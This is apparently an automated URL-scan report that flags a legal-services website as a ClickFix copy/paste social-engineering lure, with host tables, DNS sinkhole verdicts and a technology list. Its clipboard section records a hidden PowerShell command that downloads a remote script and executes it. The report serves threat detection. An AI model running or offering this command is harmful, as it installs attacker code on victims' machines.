Report Overview
URL
famlegalservices.com/
Finishing URL
famlegalservices.com/
IP / ASN
35.232.96.238
Title
FAM LEGAL SERVICES
Malicious - Copy/Paste Social Engineering (ClickFix)
Detections
urlquery
1
Network Intrusion Detection
0
Threat Detection Systems
7
Host Summary
| Host | Rank | Registered | First Seen | Last Seen | Sent | Received | IP | Fingerprints |
|---|---|---|---|---|---|---|---|---|
| 313 | 2005-01-25 | 2012-05-23 | 2026-09-06 | 1.3 kB | 79 kB | 142.250.178.106 | ||
| 2163006 | 2016-08-16 | 2024-04-26 | 2026-09-03 | 1.6 kB | 2.2 kB |  172.66.150.162 |   | |
| unknown | 2023-05-12 | 2025-08-27 | 2026-09-03 | 563 B | 546 B | 104.26.4.88 | | |
polygon.rpc.subquery.network 1 alert(s) on this Host | unknown | 2020-10-07 | 2025-08-27 | 2026-09-03 | 574 B | 0 B | | |
| unknown | unknown | No data | No data | 64 kB | 5.5 MB | 35.232.96.238 |            | |
| unknown | 2008-02-11 | 2014-04-02 | 2026-09-06 | 7.2 kB | 902 kB | 142.250.178.35 | ||
| unknown | 2020-05-11 | 2025-08-03 | 2026-09-02 | 517 B | 514 B | 35.227.193.242 |   | |
| unknown | 2005-01-09 | 2023-12-16 | 2026-09-03 | 1.6 kB | 2.0 kB | 104.18.11.59 | | |
forecast-chaos.com 4 alert(s) on this Host | unknown | 2026-08-20 | 2026-08-23 | 2026-09-07 | 509 B | 5.8 kB | 104.21.21.149 | |
webanalytics-cdn.sbs 2 alert(s) on this Host | unknown | 2026-02-18 | 2026-02-19 | 2026-09-03 | 516 B | 0 B | | |
lynx.betweenthebunz.co 1 alert(s) on this Host | unknown | unknown | No data | No data | 26 kB | 642 kB | 172.67.135.214 | |
| unknown | 2018-05-08 | 2025-03-07 | 2026-05-18 | 1.1 kB | 79 kB |  63.176.8.218 |  | |
| unknown | 2023-05-12 | 2025-08-27 | 2026-09-02 | 565 B | 550 B | 104.26.4.88 | | |
| 1960624 | 2020-05-11 | 2022-05-12 | 2026-09-06 | 523 B | 539 B | 35.227.193.242 | | |
| 7157037 | 2023-09-14 | 2025-08-27 | 2026-09-03 | 1.1 kB | 1.7 kB | 104.18.24.75 | | |
| 4329 | 2003-03-16 | 2012-05-21 | 2026-09-07 | 583 B | 65 kB | 185.15.59.240 |  | |
| 541361 | 2007-04-23 | 2021-10-24 | 2026-09-03 | 509 B | 0 B | | ||
| 26817 | 2009-02-17 | 2012-05-22 | 2026-09-08 | 550 B | 4.5 kB | 104.16.124.96 | |
Cloudflare (CDN)
Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.Envoy (Reverse proxies)
Envoy is an open-source edge and service proxy, designed for cloud-native applications.Nginx (Web servers, Reverse proxies)
Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.spin.js:27.7 (JavaScript graphics)
Configurable JavaScript/CSS spinner that can be used as a resolution-independent loading indicatorjQuery (JavaScript libraries)
jQuery is a JavaScript library which is a free, open-source software designed to simplify HTML DOM tree traversal and manipulation, as well as event handling, CSS animation, and Ajax.MySQL (Databases)
MySQL is an open-source relational database management system.PHP (Programming languages)
PHP is a general-purpose scripting language used for web development.jQuery Migrate:3.4.1 (JavaScript libraries)
Query Migrate is a javascript library that allows you to preserve the compatibility of your jQuery code developed for versions of jQuery older than 1.9.Moment.js (JavaScript libraries)
Moment.js is a free and open-source JavaScript library that removes the need to use the native JavaScript Date object directly.WordPress:7.0 (CMS, Blogs)
WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. Features include a plugin architecture and a template system.Swiper (JavaScript libraries)
Swiper is a JavaScript library that creates modern touch sliders with hardware-accelerated transitions.Hammer.js (JavaScript libraries)
Elementor:4.1.4 (Page builders, WordPress plugins)
Elementor is a website builder platform for professionals on WordPress.Bookly:27.7 (Appointment scheduling, WordPress plugins)
Bookly is a WordPress scheduling plugin that allows you to accept online reservations on your website and automate your booking system.Google Cloud CDN (CDN)
Cloud CDN uses Google's global edge network to serve content closer to users.Google Cloud (IaaS)
Google Cloud is a suite of cloud computing services.Netlify (PaaS, CDN)
Netlify providers hosting and server-less backend services for web applications and static websites.Cloudflare Bot Management (Security)
Cloudflare bot management solution identifies and mitigates automated traffic to protect websites from bad bots.Apache Traffic Server:9.2.15 (Web servers)
Apache Traffic Server is an open-source caching and proxying server that serves as an HTTP/1.1 and HTTP/2 reverse proxy with caching capabilities, load balancing, request routing, SSL termination, and support for advanced HTTP features.Related reports
Threat Detection Systems
| Detection System | Indicator | Verdict | Alert |
|---|---|---|---|
| DNS4EU | polygon.rpc.subquery.network | malicious | Sinkholed |
| Cloudflare DNS | forecast-chaos.com | malicious | Sinkholed |
| DigiCert UltraDNS | forecast-chaos.com | malicious | Sinkholed |
| Quad9 DNS | forecast-chaos.com | malicious | Sinkholed |
| DNS4EU | forecast-chaos.com | malicious | Sinkholed |
| Cloudflare DNS | webanalytics-cdn.sbs | malicious | Sinkholed |
| DNS4EU | webanalytics-cdn.sbs | malicious | Sinkholed |
Clipboard Data (1)
Clipboard content
powershell -w h -ep bypass -c "iex((iwr 'https://clam.antojitoselcatracho.com/update.ps1' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0').Content)"
JavaScript (61)
No JavaScripts
HTTP Transactions (197)
| URL | IP | Response | Size |
|---|